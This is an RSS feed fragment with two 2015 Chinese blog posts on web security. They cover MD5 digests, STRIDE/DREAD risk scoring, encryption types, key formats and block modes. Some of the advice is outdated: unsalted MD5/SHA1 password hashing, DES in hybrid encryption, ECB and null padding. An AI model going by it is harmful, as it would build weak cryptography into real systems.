#fdfdfd;"><li><p style="margin: 0px 0px 15px; padding: 0px;">摘要算法可保障数据完整性。</p></li><li><em>在某些网站的软件下载页面里，有时除了下载地址，旁边还会有一个MD5码。这个MD5就是对下载的软件做的摘要加密。在下载完成后，在本机对下载的软件做MD5，然后和网站上显示的MD5做比较，如果相同就表示软件被成功下载，而且下载过程中软件内容没有被篡改。</em></li><li><em>在做系统时，我们也经常会对密码做摘要加密后再保存，因为摘要加密的一个特性是不可逆，这样通过数据库中保存的加密后的密码不可能还原成用户的真实密码。而用户登录时，只需将用户提交的密码再做摘要加密，然后与数据库中保存的密码比较，就能判断用户有没有输入正确的密码。</em></li></ul><h2>二、风险分析</h2><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">对于数据可能会遇到什么威胁，一般是拍脑袋想一想，也可以使用模型帮忙，下面是一个叫STRIDE的威胁模型：</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><img src="http://blog.gopersist.com/images/web-security/STRIDE.png" alt="" style="max-width: 100%; vertical-align: middle;" /></p><h3>如何评估风险？</h3><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">数据受到威胁就可能造成损失，但损失有大有小，威胁发生的概率也有高有低，我们要结合具体情况来对风险做出判断。有一个叫DREAD的模型，可以指导我们如何判断威胁的风险程度。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><img src="http://blog.gopersist.com/images/web-security/DREAD.png" alt="" style="max-width: 100%; vertical-align: middle;" /></p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">每一个因素都分高、中、低三个等级，权重值分别为3、2、1。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">当有一个威胁时，我们将它在每一个因素中的权重值相加，即可得出风险系数。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">假如我们对风险系数范围的定义如下：</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">高危：12~15分，中危：8~11分，低危：5~7分。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">那如果以使用明文保存密码为例，风险系数可能像下面这样计算：</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">风险 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分，这就是一个中危风险。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">后续对威胁的处理，应当根据风险的大小和修复的难易程度做出平衡。<br /><br />微信订阅号：<img src="http://blog.gopersist.com/images/about/weixin.jpg" width="100" height="100" style="max-width: 100%; vertical-align: middle;"  alt="" /><br />源文地址：<a href="http://blog.gopersist.com/2015/04/17/web-security-2/" title="http://blog.gopersist.com/2015/04/17/web-security-2/">http://blog.gopersist.com/2015/04/17/web-security-2/<br /></a></p><img src ="http://www.blogjava.net/linli/aggbug/424507.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/linli/" target="_blank">老林</a> 2015-04-17 23:47 <a href="http://www.blogjava.net/linli/archive/2015/04/17/424507.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web安全技术(1)-对加密机制的理解</title><link>http://www.blogjava.net/linli/archive/2015/04/13/424381.html</link><dc:creator>老林</dc:creator><author>老林</author><pubDate>Mon, 13 Apr 2015 13:51:00 GMT</pubDate><guid>http://www.blogjava.net/linli/archive/2015/04/13/424381.html</guid><wfw:comment>http://www.blogjava.net/linli/comments/424381.html</wfw:comment><comments>http://www.blogjava.net/linli/archive/2015/04/13/424381.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/linli/comments/commentRss/424381.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/linli/services/trackbacks/424381.html</trackback:ping><description><![CDATA[<h2>加密算法</h2><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">数据加密算法有对称加密、非对称加密和信息摘要三类。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">对称加密是使用单个密钥对数据进行加密和解密。有DES、AES、RC-5等算法。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">非对称加密是使用一对密钥(公钥和私钥)对数据进行加密和解密。有RSA、ECC等算法。非对称加密大概比对称加密慢100倍以上。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">通常的用法如下：</p><ol style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>使用公钥加密数据，使用私钥解密数据。</li><li>使用私钥签名数据，使用公钥验证签名。</li></ol><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">信息摘要如果也算加密算法的话，它的加密过程不需要密钥，并且经过加密的数据无法被解密，它是根据不定长的明文计算得到一段定长的数据。有MD5、SHA1等算法。</p><h2>密钥规范</h2><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">规范太多，网上讲得很乱，挑常用的按我的理解列一下。</p><h4>密钥格式：</h4><ol style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>X.509：通用的证书格式，包括公钥信息、用户标识、签发信息等。</li><li>PKCS系统标准：美国RSA数据安全公司及其合作伙伴制定的一组公钥密码学标准。其中PKCS#8描述私有密钥的信息格式，包括私钥及可选的属性集等。</li></ol><h4>密钥存储：</h4><ol style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>DER：二进制编码。</li><li>PEM：ASCII编码。</li></ol><h2>加密模式</h2><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">块密码自身只能加密长度等于密码块长度的单块数据，若要对变长数据进行加密，则必须事先将数据进行切分，而且最后一个数据块需要适当的填充方式扩展到密码块的长度。加密模式即块密码的工作模式，就是使用这些方式用同一个密钥对多于一块的数据进行加密。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">加密模式通常用于对称加密，也可以用于非对称加密。但非对称加密通常不适合加密较长的信息，所以会使用混合加密代替。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><em>ps: 以RSA和DES为例，混合加密通常使用DES先加密明文，再使用RSA的公钥加密DES的密钥，再将2个密文一起传递出去。接收方使用RSA的私钥解密DES的密钥信息，再使用DES的密钥解密具体内容。</em></p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">最简单的加密模式是ECB（即电子密码本）。其他还有CBC、PCBC、CFB等。</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">ECB和CBC需要对最后一块进行填充，填充方法有很多种，最简单的是先在明文的最后填充空字符，使明文长度为密码块长度的整数倍。<br /><br />微信订阅号：<img src="http://blog.gopersist.com/images/about/weixin.jpg" width="100" height="100" alt="" style="max-width: 100%; vertical-align: middle;" /><br />源文地址：<a href="http://blog.gopersist.com/2015/04/08/crypto/">http://blog.gopersist.com/2015/04/08/crypto/</a><a href="http://blog.gopersist.com" title="作者博客：http://blog.gopersist.com"><br /></a></p><img src ="http://www.blogjava.net/linli/aggbug/424381.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/linli/" target="_blank">老林</a> 2015-04-13 21:51 <a href="http://www.blogjava.net/linli/archive/2015/04/13/424381.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>